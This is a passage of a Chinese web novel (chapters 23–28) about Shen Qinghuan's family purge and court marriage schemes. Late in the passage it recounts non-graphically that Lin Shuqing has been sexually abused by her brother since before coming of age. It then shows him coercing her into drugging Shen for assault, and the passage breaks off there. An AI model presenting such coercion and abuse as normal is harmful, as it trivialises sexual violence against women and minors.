沈家大门紧闭。 禁卫军撤走,沈家的家丁接管了看着大房那些人的院子。 沈清樾像一夕之间就变了性子似的,坐在椅子上,容色沉静,颇有几分无悲无喜的模样。 沈老夫人卧床不起,沈夫人伺候在床边,不敢离开半步,步秋给诊脉开药。 “阿灼。”沈景谦坐在女儿的身边:“就知道你这孩子心里有成算。” 沈清欢看着父亲鬓边的白发,轻声:“父亲,祖父只怕身体会愈发不济,家里的事要你做主的地方不少。” 沈景谦缓缓点头:“阿灼放心。” 沈景行取下银针,又给父亲诊脉后,起身往外走的时候说:“阿灼,跟我去煎药。” “是,三叔。”沈清欢赶紧起身跟着沈景行往外走。 沈家后院,步秋院子旁边是草药库。 沈景行坐在椅子上,挑开红泥小火炉里的银丝炭,指挥沈清欢去药架子上抓药,水沸,茶香,沈景行出声:“阿灼,过来。” 沈清欢过来坐在三叔对面,接过来三叔手里的热茶捧在掌心。 沈景行取出来一块玉牌放在桌上推到沈清欢的面前:“这是三叔给你的陪嫁。” 沈清欢愕然抬头,好端端的怎么提到了陪嫁? “嫁给司徒珩。”沈景行看着沈清欢。 沈清欢疑惑:“三叔,为何?” 第23章 你要给我做媳妇,要求我 沈景行凝眸看着自己的侄女,他比任何人都清楚,阿灼是懂自己意思的。 “三叔,若我在危难关头离家而去,余生即便苟活也日日都生不如死。”沈清欢把玉牌推到沈景行面前,抬头展颜一笑:“沈家,不会有事的。” 沈景行勾起唇角:“阿灼,断了那些人念头,定下名分,那个男人有足够的理由护你周全,旁人盯着沈家如贼,你该知道有千日做贼却不能千日防贼,一着不慎,让你身处险地,我们就可能满盘皆输,沈家需要时间。” 沈清欢低下了头,她知道三叔的顾虑是什么。 可嫁给司徒珩?她宁可死! 就算是一个名分都不行! “不急,暂时还能应付。”沈景行舍不得为难沈清欢,他虽在家族中最沉默,可越是沉默的人,越是能看清眼前的每一个人,他虽然不清楚阿灼为何憎恶司徒珩,但这种憎恶是刻骨的。 沈清欢苦笑着抬头:“三叔,若需要,我可以。” “沈清瑶治不了罪,因为我们动不了她背后的人,但我相信母亲和嫂夫人必定不会轻饶。”沈景行岔开话题:“阿灼趁机学一学,这京城啊,朝堂上的尔虞我诈不过是棋盘上的棋子,真正杀人不见血的地方是后宅的勾心斗角。” 沈清欢好奇,三叔好像什么都看得透。 上一世太仓促,若不然就凭三叔,也必定能让沈家有一搏之力,所以自己就算不能扭转乾坤,但有三叔在就有胜算。 “我去给清韵看看伤。”沈景行起身往外走,在门口停下脚步,回头:“阿灼,你信清韵吗?” 沈清欢点头:“聪明人值得合作。” 沈景行知道,阿灼不是个感情用事的人,如此就最好不过了。 出门往步秋的屋子里来的时候,沈景行还在想,沈家在阿灼这一代人里,他也没想到最能扛事的人是她。 沈清欢没去看沈清韵,去了正院看望祖父和祖母。 沈良辅见到孙女,抬起手:“阿灼,来。” 沈清欢过来坐在祖父身边:“祖父,三叔一会儿过来给您诊脉。” “不用。”沈良辅摆手,问:“大房若是让你处置,你会怎么做?” 沈清欢看着祖父花白的头发,心疼的厉害,但事关沈家往后布局,她不能隐瞒:“祖父,孙女的手段可能太不近人情。” 沈良辅拍了拍沈清欢的手:“去做吧,你的祖母和母亲都不能动作太大,很多人盯着沈家呢。” “是。”沈清欢得了祖父的意思,心里松了口气,她现在不用担心祖父心慈手软了,如此自己也能放开手脚。 客院里,邹氏急得团团转,她走到沈清瑶跟前质问:“你确定他们这次真的完了?” “对。”沈清瑶回答得斩钉截铁,她亲自把那封信放进书房的密室里,司徒珩亲自取走了锦匣,沈家这次就算天神下凡也无力回天,只是她们没逃走,沈清韵最该死! 她们还不知道沈家人已经回府。 沈清婉咬牙切齿:“沈清欢不是全须全尾回来了吗?” 沈清瑶冷笑:“她算个什么?皇上要的是连根拔出!” 一旁沉默不语的沈清舟脊背一僵,连根拔出?自己不也没活路?抬头看沈清瑶那兴奋得有些病态的表情,感觉像是在看一头猪。 现在后悔还来得及吗? 大门被打开,沈清瑶眼里冒光:“母亲,我们马上就能离开这里了!那些买卖契书千万收好了。” 邹氏往门口看,见沈清樾和沈清欢走进来,整个人呆愣当场,沈清樾怎么回来了?她不在乎沈清欢,可沈清樾是嫡长子,如今的沈家,他对每个人都有绝对的权利。 “母亲!还愣着做什么?见到谁都不用害怕,我们有功。”沈清瑶起身往外走,来到门口一抬头,也愣住了。 沈清樾和沈清欢来到门口,沈清瑶下意识的退后:“怎么是你们?” “你想会是谁?”沈清欢冷冷的扫了一眼沈清瑶,吩咐后面的家丁:“搜!” 家丁和婆子进来,邹氏娘几个被治住,婆子挨个搜身后,过来回禀:“四小姐,都搜干净了。” 沈清欢点了点头,偏头:“大哥,她们一个不留,逐出家谱,写断绝书。” “好。”沈清樾吩咐人取来笔墨,刷刷点点写了断绝书。 “你们两个晚辈敢如此不敬尊长,我可是你们的伯娘。”邹氏急得满头大汗。 沈清欢淡漠的看着几个人,目光落在沈清瑶的脸上,淡淡的说:“你要失望了。” 沈清瑶不蠢,周身泛冷的她缓缓后退,探究的看沈清欢,又看沈清樾,她知道自己的活路没了,但沈家绝不会杀自己,尽管她从沈清欢的眼里看得出来,她恨不得把自己碎尸万段。 除族,断绝书。 邹氏被抓着按下手印,沈清婉犹豫着看沈清瑶,见沈清瑶脸色苍白如纸,她也害怕了,就算再糊涂,她也知道有家族庇护和没有家族庇护的区别,她可是到了要议亲的年纪了。 “长兄,四姐,饶我一命吧。”沈清舟过去扑通就给沈清樾跪下了。 沈清樾垂眸看他,冷笑:“你现在求饶,不觉得晚了吗?” “是她们逼我的,说只要我们都走了,父亲回来一定会分家,到时候我们可以自立门户,还说允我科举入仕。”沈清舟指着邹氏娘仨。 沈清樾抬起一脚踹开了沈清舟:“你们按下手印后,滚出去!” 沈清瑶无可辩驳,上前按下手印。 沈清婉不想也不行,婆子过来抓着她和沈清舟都按下手印后,家丁把几个人抓起来从大门扔了出去。 “沈清欢,答应我的庄子和陪嫁呢?”沈清瑶抓着沈清欢不撒手。 沈清欢压低声音:你也配!” 角门关上,邹氏几个人不知该往何处。 “母亲,你的嫁妆铺子他们不敢动,我们先去安顿下来。”沈清瑶说。 马车哒哒的声音传来,邹氏立刻看过去,见那车夫从马车上跳下来,险些没背过气去。 “媳妇,上车吧,我带你们去庄子上。”车夫对沈清瑶说。 沈清瑶啐了一口:“你也配!” “如今,我是良籍,有庄子。”马夫说着,轻蔑的看了几人一眼:“你们现在有什么?” 邹氏立刻带着人往自己的嫁妆铺子去,结果还没等到铺子里,就见沈家人从铺子里押送那些伙计出来,往沈府那边去,铺子落锁。 “他们竟然敢动我的嫁妆!”邹氏不服。 结果京城里三家铺子都是如此,几个人又累又饿更生气,所在墙角瑟瑟发抖。 车夫赶车过来,坐在车辕上看着她们。 “你带我们走。”沈清瑶说。 车夫摇头:“你要给我做媳妇,要求我。” 沈清瑶起身缓缓地走向了车夫…… 第24章 必定成为霍家的催命符 沈清瑶低下头:“夫君,我们是一家人呢。” 车夫直咧嘴,这就是贵女! 还不是要求自己! “都上车。”车夫说着,跳上了车辕。 没看到沈清瑶抬头那一刹那,看着车夫的眼神儿像是在看一个死人。 “我叫阎五,你以后是我的婆娘。”车夫扬起鞭子抽打着驾辕的老马:“你要敢不听话,我就打你!” 马车里,沈清瑶冷笑,不自量力的混账东西,小人嘴脸,回头自己要凌迟了他! 他们刚离开京城。 沈清欢就得到了消息。 她觉得自己高看邹氏几个人了,一个阎五就能拿捏的人,脑子里都是草。 不过这才能更好的看管几个人,免得趁自己不备再作妖。 翌日,霍静纭入宫的圣旨下了。 霍家在京城的府邸顿时热闹起来了,宫里的赏赐流水似的抬进来,朝臣让家眷借着添妆的由头巴结,尽管当今已经年近不惑,霍家小姐才十六岁,可入宫为妃,霍家又兵权在握,谁知道以后会不会变天? 凉亭里,霍静纭秀美的小脸上没有任何表情,看不出悲喜。 丫环在旁边研墨,低着头大气儿都不敢喘,别人不了解小姐的性子,她可太清楚了,发起狠来,府里谁都要避让三分的。 一阵风吹来,霍静纭抬眸看天,天上的云随风飘散,如浮萍一般,耳边是祖父的话。 “唯有你入宫为妃,当今才会觉得霍家是可控的,我们才有机会全身而退,静纭啊,虽委屈了你,可这个仇早晚都会报的。” 报仇? 霍静纭嘴角为不可见的勾了勾,她就是霍家人,太了解霍家的行事作风了,别说自己一个女子,就是兄长的婚事不也能利用吗? 若非入宫求赐婚,哪里会有入宫这一说,明明自己在来京城之前就跟祖父言明,已有心仪之人了。 可谁问一句自己心仪之人是谁了呢? 回身来到案前,提起笔慢慢描摹,偶尔停笔端详片刻,那专注的模样像除了眼前的画,再无其他一般。 小丫环看那跃然纸上的少年郎,暗暗咂舌,世上竟有如此俊俏的小郎君吗?红衣烈马,飒爽英姿,长枪在手,像是马上会从画中冲出来一般。 霍静纭也很满意,落在最后一笔的时候,轻轻地叹了口气,在画作最下角写了宜欢二字。 风,吹干了墨迹,霍静纭取来卷轴,坐下来一点点儿的装裱妥当,递给丫环:“鸿雁,送去安王府。” “是,小姐。”丫环不敢多嘴半个字,接过来画卷转身要走。 霍静纭沉声:“等等。” 丫环赶紧转过身。 霍静纭提起笔,踌躇良久才落笔,写了两个字停下来,眉头紧锁的来回踱步,再回到桌案前,左手执笔写了一行小字,放在画轴中间:“去吧。” 丫环退走。 安王府里。 司徒珩在下棋,自己跟自己博弈。 “主子,有个小丫环送来一幅画。”亲随保生捧着卷轴进来。 司徒珩抬头:“谁家的丫环?” “没等小的问,那小丫环就跑了。”保生说着,把卷轴放在桌子上:“刚裱好的画。” 司徒珩嗯了一声,继续看着棋盘。 保生退出去。 两个时辰后,司徒珩才放下最后一枚棋子,起身在书房里来回踱步,不经意看到桌案上的卷轴,走过来缓缓打开。 看着上面的人,抬起手摸了摸自己的脸,司徒珩笑着摇了摇头,落款处只有宜欢二字,还有一张字条,簪花小楷十分工整,写着:飘香韵茶楼,天字一号雅间,等你。 没有落款,不知何人。 司徒珩坐在椅子上,挑开银丝炭,煮水烹茶,端详着这副画像,他觉得好笑,霍静纭到底和寻常女子不同,自己不走一遭,似乎对不起她这玲珑的心思。 “保生,更衣。” 保生进来伺候主子更衣,安排人准备好马车,陪着主子离开王府。 飘香韵茶楼,天字一号雅间,司徒珩推开门进来的时候,愣住了。 与此同时,茶楼街对面听着的马车里传来霍静纭的声音:“回府。” 若说震撼,不至于,但入目都是自己的画像,确实让人心惊,司徒珩缓缓地看着每一张画像,或站或坐,骑马弯弓,自己只去过一次雁门关而已,她倒是记得真切。 保生跟在后面直咧嘴儿,他们家主子这是入了哪家小姐的眼?啧啧啧,这份心思可真让人心动,照这样看,王府要有主母了? 看了一圈,司徒珩吩咐保生把所有的画作都收起来,没着急离开,喝了一壶茶才走。 他料到霍静纭不会露面,但没料到霍静纭会安排这一出给自己看,真以为自己是什么善人呢。 回到府里,吩咐保生连带着先前那幅画一并焚了。 看着火苗跳动,司徒珩倒是想起来了一个人,提起笔刷刷点点写了一封信,把霍静纭写的字条一并放在信封里,揣着书信出门,往西城一处叫保宁堂的药局去,进了药局找了郎中,书信递过去:“交给你们当家的。” 郎中看着上面写着沈清欢亲启的字样儿,笑着问:“小郎君,三爷可不一定能送到。” “能。”司徒珩拱手一礼,告辞离开。 书信是傍晚时候送到沈清欢手里的。 沈清欢打开看完,忍不住笑了,就说司徒合族就没有一个好货色,果不其然! 至于霍静纭做了什么,关自己什么事? 她倒是希望司徒珩能冲冠一怒为红颜,从昏君手里抢得美人归,可他敢吗? 书信放在一边,端起茶的动作顿住了,放下茶盏拿过来书信又看了一遍,脱口而出:“好!” “小姐,怎么了?”郑嬷嬷问。 沈清欢把信封倒了倒,果然有一个小字条,展开看着上面的字迹,左手字,写的确实不错。 “嬷嬷,准备笔墨。” 郑嬷嬷取来了笔墨纸砚,看着小姐左手握笔,全神贯注的临摹那字条上的字,心里有些纳闷,但小姐做事,她不能多问。 临摹无数张,沈清欢终于满意的放下了笔,揉着酸疼的手腕端详着两个人的字迹,别说别人,就是霍静纭亲自看,那也分不出孰真孰假。 沈清欢有些慵懒的靠在浴桶里,越想越觉得好笑,霍家以为送入宫的霍静纭会成为霍家的一把利刃,一柄遮天伞,殊不知,霍静纭必定成为霍家的催命符。 人若动情,就有弱点,有了弱点的人,太好拿捏了。 翌日。 沈清欢刚起来,就接到了卫国公府的请柬,落款林舒清三个字,让沈清欢止不住的勾起唇角,司徒珩,你可要准备好了! 第25章 他眼里竟只有沈清欢 沈清欢早就在等林舒清了。 作为安王妃最合适的人选,林舒清是很拎得清的,无论从家世背景还是帝王心思,安王妃的位子都不会旁落。 卫国公府早在三年前就已不会再对当今皇上有任何威胁了,林家只有富贵没有荣华。 世人眼中,便是如此。 可沈清欢知道,卫国公树大根深,老卫国公林泽勋和老夫人殷千红是大夏国最勇猛的将领,就连先帝禅让皇位之前都不敢对卫国公有任何不恭敬,私下里让卫国公交出兵权,而不敢设下帝王局。 林泽勋和殷千红三年前相继离世,如今的卫国公,也就是林舒清的父亲叫林承恩,都说虎父无犬子,可叹林承恩何止无能,更是个小人,烟花柳巷流连忘返,京城出了名的浪荡人。 卫国公府全靠如今的卫国公夫人蔡宝珠支撑,这位国公夫人也是个厉害的,把卫国公府经营的滴水不漏。 沈清欢在想,林舒清的请柬为何在沈家死里逃生后才送到,必定跟林墨洲有很大的关系,看似纨绔,实则不然。 按照约定,沈清欢准备好登门礼,翌日清晨坐着马车来到卫国公府门口。 本以为请柬说赏荷宴,怎么也会请三五京中贵女作为陪衬,可卫国公府门口一辆马车和一个别家仆从都没有,只有守门的小厮。 “去禀了大小姐,沈小姐到了。”眼尖的小厮吩咐旁人,他先一步过来行礼问安。 沈清欢坐在马车里没动。 郑嬷嬷上前给了赏钱。 片刻功夫府门敞开,沈清欢没耽搁,疏影搀扶着下了马车。 这是沈清欢头一次见林舒清。 她从小不出门走动,林舒清也是鲜少和京中贵女往来,两个人见面都止不住互相打量。 初见林舒清,沈清欢心就一沉,容貌无可挑剔,可这张脸怎么看都没有多少生气似的,薄檀色的口脂颜色老气,清水一般的脸上不曾用什么粉黛,一把秀发本是极美,可偏偏只用了一个木樨纹白玉簪簪着,月白色的襦裙绣着几片竹叶,手腕上的银镯和裙角的禁步略给这一身打扮增了些许颜色。 这哪里是年轻女子的装扮? 许是见沈清欢的讶异了,林舒清上前微微颔首:“沈家妹妹勿怪,概因为祖父和祖母守孝刚结束,一时半刻还缓不过来,失礼了。” “人之常情。”沈清欢还礼:“冒昧叨扰,林家姐姐相邀在前,不得不厚着脸皮来了。” 林舒清侧身:“请。” 二人往院子里来,林舒清打量着沈清欢,她知道这样的女子,任何男子看了都会喜欢,美得耀目,就连那发间的金丝蝶,都像要振翅飞走了似的,只有年轻的姑娘才会用这么艳丽的颜色吧。 鹅黄色断襦配海棠红色长裙,外罩薄纱是海棠红绣金丝纹的大衫,少了披帛的累赘,多了几分洒脱。 “这个时候,荷花盛开的时候,恰好我钟爱荷,家里有荷塘正是景色最美的时节,想邀个人共赏。”林舒清轻轻地叹了口气:“可偏偏我性子孤冷,这些年也没有个手帕交,二哥几次三番在我面前赞沈家妹妹是女中少见的豪杰,我便起了这心思。” 沈清欢偏头看林舒清:“林家姐姐不必解释,我既能来,必定有来的理由,家母为了我这耿直的性子头疼不已,可偏偏这些年,我改不掉分毫呢。” 林舒清微微挑眉,笑意更深了几分。 后宅景色确实漂亮,荷塘中间有小亭,名风波。 风波亭里放着坐塌,显然早就有,并非专门为了待客才设置的,榻上放着雕工精美的长条桌,一边可以下棋对弈,一边能煮水烹茶。 同往小亭是九曲桥,走在桥上,像行走在荷花中间似的,硕大的荷叶触手可及,荷叶间绽放的荷花随风轻轻摆动,确实是少见的美景。 沈清欢只带了疏影在身边,同样林舒清也只带了一个婢女。 二人在小亭里落座,林舒清不让婢女伺候,亲自给沈清欢斟茶:“听说沈家妹妹喜欢对弈,可否手谈一局。” “好啊。”沈清欢坐在蒲团上:“请林家姐姐赐教。” 都说棋品就是人品。 事实上确实如此,林舒清的棋路看似温婉,处处都留有余地,可一旦蓄势够足,杀伐果断。 沈清欢被逼得退无可退,红着脸认输。 “沈家妹妹太让着我了。”林舒清笑着收棋:“其实大可不必,我本就年长几岁,担得住输赢。” 沈清欢端起茶抿了一口:“包括司徒珩吗?” 显然,林舒清没想到沈清欢如此直接,手底下的动作顿了一下,抬眸笑望着沈清欢:“若我是男子,也喜欢沈家妹妹这样的女子,安王也好,京城中但凡敢想和沈府结亲的人,都会如此。” “但,姐姐不喜旁人,唯独钟情司徒珩啊。”沈清欢可不愿意这么拐弯抹角的说话,直接摆在桌面上。 林舒清坐下来,轻轻地叹了口气:“有些事强求不得。” “这性子可不行,若不是老国公爷和老夫人故去要守孝,姐姐如今别说是安王妃了,只怕都有小世子了呢。”沈清欢捧着茶盏,说得认真。 林舒清的脸一下就红了,摇头:“世间男女,多落花有意,流水无情。” “那是因为没有在一个屋檐下,若在一个屋檐下,感情自然会日渐深厚的。”沈清欢放下茶盏:“姐姐也无需在我这里费劲儿,我有心上人,不在京城里,所以任何人想要和沈家结亲,我都是不从的,恰好家里长辈都疼惜着,不会逼迫我。” 林舒清正了正身,她不确定眼前的沈清欢到底是心直口快,还是城府极深的拿捏自己,但不得不承认,她的话让自己生不出来半点敌意。 一阵风吹过,沈清欢抬头看景,远处有船缓缓而来,她一眼就认出来站在船头,一身红袍的林墨洲了,回头看林舒清,有询问之意。 林舒清也没想到二哥会来,有些歉意:“二哥极少逛园子,我这就差人过去知会一声。” 沈清欢只是点了点头,没言语。 船愈发靠近,林舒清的婢女驱小船过去,显然林墨洲没有离开的意思,船靠亭子旁边,他笑呵呵的冲沈清欢一拱手:“沈四小姐,没想到小妹还真把你请来了,巧了,今日贵客也要赏荷。” 林舒清上前,刚要阻止,就见司徒珩从船舱里走出来。 司徒珩抬眸,看沈清欢,微微蹙眉:“你还真在这里。” “安王这话有趣儿了,我应邀而来,在这里有什么奇怪的?”沈清欢冷了脸,别开目光不搭理司徒珩。 一旁的林舒清捏紧了手里的帕子,他眼里竟只有沈清欢! 第26章 林家有个魔头 沈清欢不搭理司徒珩,但多看了一眼林墨轩。 林墨轩是卫国公府的世子,盛名在外,温文尔雅,容貌不凡,更传言其策论不止一次被当今圣上赞叹,几次邀其入宫伴驾,都被林墨轩婉拒了,因他极少露面,沈清欢自然好奇。 “沈四小姐。”林墨轩一身月白色长衫,玉冠束发,颇有些陌上人如玉的感觉。 沈清欢还礼后,背转身去看远处风景,实则是避嫌,应邀而来,女眷之间的邀约,青年男子跑来是十分无礼的事。 林墨轩收回目光,微微颔首:“安王,昨日偶得一副棋,不若我们移步在下的书房可好?” “棋啊?”司徒珩看着沈清欢的后脑勺,饶有兴致的说:“沈四小姐也喜欢对弈,相请不如偶遇,劳烦林世子取来,本王想要和沈四小姐对弈几局。” 沈清欢缓缓地深吸一口气,转过身,露出假笑:“那真是要让安王失望了,我今日赴得是林小姐的约,如今要告辞了。” “是吗?”司徒珩看着沈清欢:“是见到本王心里不畅快,所以提前走的?看来是记恨本王了。” 沈清欢不理他,走到林舒清跟前行礼:“林家姐姐,今日多有叨扰,荷花确实漂亮,先告辞了。” “沈妹妹,这。”林舒清为难的不知道说什么才好。 林墨洲讪笑的凑过来:“沈清欢,我小妹极少邀人来玩儿,我们不在这里碍眼成不?” “林二公子。”沈清欢看着林墨洲:“多有不便,改日请林小姐去我家做客。” 司徒珩神色淡淡的立在一旁,看着林舒清陪着沈清欢离开的背影,斜眼看林墨轩,见他跟自己一样望着二人里去的方向,眼底有淡淡的红血丝爬上来了。 到了门口,林舒清叫住了沈清欢:“沈家妹妹,明日可有空闲?” “林家姐姐有什么事情吗?”沈清欢问。 林舒清难为情的笑了笑:“今日一见如故,没有尽兴,想请沈家妹妹去龙首山的护国寺上香。” 当然不尽兴,沈清欢本来就是跟林舒清摆明立场,并且要利用林舒清挡住司徒珩的,别说太后,三叔也有这个意思,自己能在太后跟前拒婚,但三叔所思所想绝非婚事本身,自己拒绝不了。 可一想到要跟司徒珩在一起,她觉得隔夜饭都能吐出来。 在事情没有定局的时候,还是要搏一搏的。 “好啊,那明儿见。”沈清欢答应的爽快,笑容明媚。 林婉清目送沈清欢上马车离开,看着远去的马车,有些痛苦的闭了闭眼睛,转身往回走。 荷花不用赏了,尽管她喜欢的人从来没有如此近在咫尺。 坐在屋子里看账目,丫环在门外请安的声音传进来,她疑惑的抬头看着门口,果然长兄迈步进来了。 “长兄,你不待客,怎么到我这里来了。”林舒清起身过来。 林墨轩坐在椅子上,长袖盖住的手握着拳头,那拳头上青筋毕露,深吸一口气:“再请沈清欢入府。” “长兄。”林舒清面露痛苦之色:“她可是沈太傅最疼爱的孙女啊。” 林墨轩突然起身来到林舒清面前,伸出手捏住她的皙白的颈子,低着头迫使林舒清不得不看着他有些猩红的眼睛:“你想逃走,那就要送个人给我!她和你不一样,我会明媒正娶,明白吗?” 林舒清痛苦的闭上眼睛,眼泪顺着眼角滚落。 她如何能宣之于口! 这是她的亲兄长,一奶同胞的血脉至亲,可他发疯了拦着不准任何人给自己说媒,当年还没有及笄,他就强占了自己,六年了! 生不如死的六年,她都不知道自己为什么还活着,还在所有人的眼里活得很体面的。 丫环和婆子都退到了门外,每每这个时候,林舒清都觉得自己该死,叫天天不灵,叫地地不应,被这个畜生糟蹋够了,就像是一块破布似的扔在这屋子里,唯有自己爬起来收拾干净,那些丫环婆子才敢到跟前来。 “你答应了吗?”林墨轩捏着林舒清的下巴,问。 林舒清挣脱不开,闭上眼睛不肯说话。 “你让我得到沈清欢,我放过你,不然你休想逃出我的手掌心。”林墨轩俯身就差贴在林舒清的脸上了,声音冰冷:“我就算不稀罕你伺候了,也会让那些流浪汉享用。” 林舒清浑身颤抖的厉害,瑟缩着说:“明日,明日去龙首山的护国寺进香。” 林墨轩心满意足的起身,扯过来衣袍慢条斯理的穿戴整齐。 回头看林舒清,蹙眉:“你成全我,我就成全你,被装死,收拾妥当。” 等林墨轩离开后,林舒清艰难的爬起来,颤抖着手扯过来衣裙一件一件的穿上,取出来避子汤喝下去,挪蹭到隔壁浴房,穿着衣裙坐进浴桶里,目光呆滞的看着前方。 “小姐。”丫环翠柳进来,扶着林舒清从木桶里出来,湿淋淋的衣裙贴在身上,让她都心疼的掉眼泪,不敢多说一个字,找了衣裙伺候小姐换上。 林舒清坐在妆台前:“明日进香,去准备妥当。” “是。”翠柳知道小姐不愿意跟前有人,恭敬的退出去了。 林舒清知道自己唯一的活路就是嫁给司徒珩,唯有司徒珩能护着自己周全,她不能死,求活只有这条路,至于沈清欢,若她挡在自己前面,自己唯一的活路都被她堵死了,凭什么? 手里抓着玉簪,玉簪脆响,断成了两节,刺破了她的掌心,血冒出来都浑然不觉一丝一毫疼痛。 翌日。 沈清欢准备好了进香的果品糕点,等着林舒清。 “小姐,林小姐的马车在门口了。”疏影进来禀报。 沈清欢起身出门,两辆马车一前一后往龙首山护国寺去。 今日并非初一,也不是十五,所以进香的人不多。 进城贵人多,护国寺门前的山路极宽敞,马车可以直接到门前。 林舒清下了马车,回头看沈清欢。 当一身深绿浅绿搭配得犹如山中精灵般的沈清欢走过来的时候,林舒清知道了,这样的女子若成了林墨轩的掌中之物,确实会放过自己的。 “林家姐姐,你有心事吗?”沈清欢端详着林舒清。 林舒清心里咯噔一下…… 第27章 庵堂遇害 沈清欢疑惑的看林舒清,总觉得林舒清透着一股子暮霭沉沉的气息,明明是年华正好的年纪,可她像是背着一座大山似的。 自己印象里,沈清欢手段颇多,心机城府也厉害,难道是因为自己重生了,林舒清还没有遇到把她改变的那件大事,所以活得不轻松且没有破局之法? “沈家妹妹,护国寺不远处有一个慈庵堂可知?”林舒清往前走,偏头和沈清欢说话。 沈清欢摇头:“我只在几日前陪着祖母来过一次。” “我倒是常来,慈庵堂里的斋饭很好吃,风景也好,今儿我们去看看。”林舒清说。 沈清欢点头。 二人到大殿上,上香,添了香油钱,磕头之后摇签。 沈清欢虔诚的为沈家祈愿平安,签筒里掉出一支签,写着上上签,53卦。 小心翼翼的捡起来签,沈清欢抬头看坐在一边低垂着眉眼的僧人,起身过去恭敬地行礼问询。 僧人接过去签,看了一眼,慢悠悠的说道:“施主所求是家运。” “是。”沈清欢有些紧张。 僧人点了点头:“风火家人卦,大吉之兆,一切事物皆应以内在为本,然后伸延到外。发生于内,形成于外。喻先治家而后治天下,家道正,天下安乐。恭喜施主。” 沈清欢没有多问一句,行礼退下。 与此同时,求姻缘的林舒清也卦签落地,她看到那下下签三个字,瞳孔都撑大了,伸出手捡起签,回头看沈清欢和解签的僧人,沈清欢眼角眉梢的喜色让她心口闷疼。 捧着签走过来,双手递给解签的僧人。 沈清欢避嫌的走开,去拜大殿里的神佛。 解签的僧人扫了一眼,抬眸看林舒清一眼,叹了口气:“施主,天风垢卦,求姻缘不吉,有一女遇五夫之相,但卦本就是一种外应,并非注定,慈可改命,善可改因。” 林舒清行礼后离开,走到大雄宝殿的门口,往外看了一眼,远处墨云翻滚,风雨欲来,她怎不知慈和善,可谁对她有过一丝丝的善意? 若非自己脱困,只能被逼死,逼疯,纵然被困多年,可她依旧不想死,她想要报仇!要离开卫国公府。 红尘中翻滚的人,拼得是气运,是手段,是心机,她本就不该走进这处处让人割肉喂鹰的地方,没经历自己的苦,只知道让自己善,何其残忍? “沈家妹妹,我们可沿途看风景,往慈庵堂去一趟吗?”林舒清问。 沈清欢刚好想要趁机和林舒清说说话,欣然应允,二人在前,两个人的丫环跟在后面,不远不近。 风有些凉。 “只怕一会儿有雨。”林舒清看沈清欢,她羡慕沈清欢眼里有光,甚至嫉妒她有家人爱护,若非沈太傅一家拼命呵护她,霍家的求来的赐婚,沈清欢此时应该在待嫁,而明眼人都知道,一旦她嫁到霍家,其结局只会凄苦。 沈家自然心知肚明,所以各尽所能救她,凭什么她的命如此好? 沈清欢抬头看远处的云:“既来之则安之,倒也无妨,林家姐姐,赏荷时有很多话要说,可时机不对,今日我有几句话想要说,若说错了,林家姐姐勿怪。” 林舒清心里一阵烦闷,沈清欢的性子,凡事都要摆在明面上,这边是被宠大的姑娘,而自己,一个眼神儿都要斟酌的苦楚,她这辈子也体会不到,这世道可真不公平啊。 “尽可说。”林舒清说。 沈清欢勾起唇角:“好,林家姐姐,你觉得安王如何?听说林家姐姐心悦安王,可真?” 林舒清停下脚步,偏头看沈清欢,苦笑:“世间姻缘,怎么能让人称心如意呢?我倒是听说太后有意要撮合你和安王。” “可是我不喜欢他,家中长辈没有应承,是想让我自己寻个如意郎君的。”沈清欢转过头看林舒清:“我们都是世家女,婚姻哪里能都随心?不过是沈家不愿意和任何人走得太近,更不愿意有姻亲关系,忠心耿耿为国为君的祖父,只想要当个好臣工。” 林舒清缓缓点头,羡慕和嫉妒似乎都不足以形容她的心情,这世上最可怕的不是阴谋诡计,而是沈清欢此时摆明的态度,就是在谋,阳谋,无解那种。 “林家姐姐,我非常希望你能成为安王妃,咱们结个善缘。”沈清欢把自己最终的目的说出来了。 林舒清叹了口气:“只怕安王不喜。” “在我看来则不然,安王的王妃是什么人,关乎安王能否安稳余生,人都在权衡利弊,林家姐姐也一定很清楚,安王迎娶卫国公嫡长女,门当户对,皇上也会成全,而安王和安王妃必定余生顺遂。”沈清欢说:“林家姐姐,你说呢?” 林舒清下意识点头,是赞同。 卫国公府的名头不弱,但手中没有任何实权害,司徒珩想要安稳,不让皇上动杀心,迎娶自己,面子和里子都有。 她觉得奇怪,连沈清欢都看的如此通透,司徒珩会看不明白? 还是心知肚明却太不喜欢自己的寡淡无味,反倒是被如烈阳一般的沈清欢吸引的无法自拔,宁可冒险也要抱得美人归,更让她惶恐的还有一件事,自己和那畜生长兄的关系,若是被人知晓,自己这条命就不能要了,司徒珩会不会看出端倪了? 沈清欢把该说的说完了,便不再多言语,而是越发觉得林舒清这个人很怪异,像是背着一座大山的人似的,难道心机城府和手段足够多的人,是这样的? 慈庵堂是掩映在竹林里的清净地,不起眼,很安静。 庵堂里只有一个中年师太,容色沉静,气度极好,一看就是出身不凡,沈清欢以前并不知道这里。 “秋姑姑。”林舒清说:“这位是沈太傅的孙女,沈四小姐。” 秋雁微微点头,单手一礼:“施主,请。” 三人落座,门外进来个小尼姑,端着茶盘,奉茶后退下。 沈清欢端起茶抿了一口,淡淡的竹叶香,味道甘甜,抬眸对上秋雁师太看着自己的目光,心中突然警铃大作是,那眼神是算计,是狠厉。 “林家姐姐,忽想起祖母让我给方丈带句话,我去去就来。”沈清欢起身欲走,眼前一阵天旋地转,猛地回头看林舒清:“你,害我?” 秋雁师太面色阴沉的挡在林舒清身前:“只能怪你,太耀眼了!” 沈清欢抬起手要拔发上簪子,可手刚抬起来,一个男人从旁边小门闪身进来,她瞳孔都大了,林墨轩?这个人怎么也在! 第28章 为何一往情深至此? 身体一阵阵异样,沈清欢想到了簪子里的毒,她就算不能伤敌,也能自尽,可偏偏整个人麻木只剩下头脑还有些许清醒。 “大哥!” 沈清欢目光落在林舒清的身上,心里竟然觉得报应来得太快,这叫什么?杀人者人恒杀之! 自己想要利用沈清欢挡住司徒珩在先,所以才落入人家的圈套里的,重生的自己真实天大的笑话! 林墨轩停下脚步,回头不耐烦的看着林舒清。 “你答应我的,会求娶她进门,别害死她。”林舒清眼里尽是哀求的说。 不等林墨轩说话,那个老尼姑冲过去,以迅雷不及掩耳的速度抽了林舒清一个耳光,怒喝:“贱婢!有你说话的份儿?你也配求情?滚进去铺床!” 林墨轩过来,俯身的刹那,沈清欢看到了他眼里的猩红,大脑一阵阵空白,唯有那双猩红的眼睛,让她灵魂都颤抖,这不是一个人,是魔鬼!更甚于司徒珩! 身体被抱起来的时候,沈清欢感觉自己回到了漠北的官妓坊,被囚禁在那间屋子里,想到了庞冲,她的簪子!簪子! 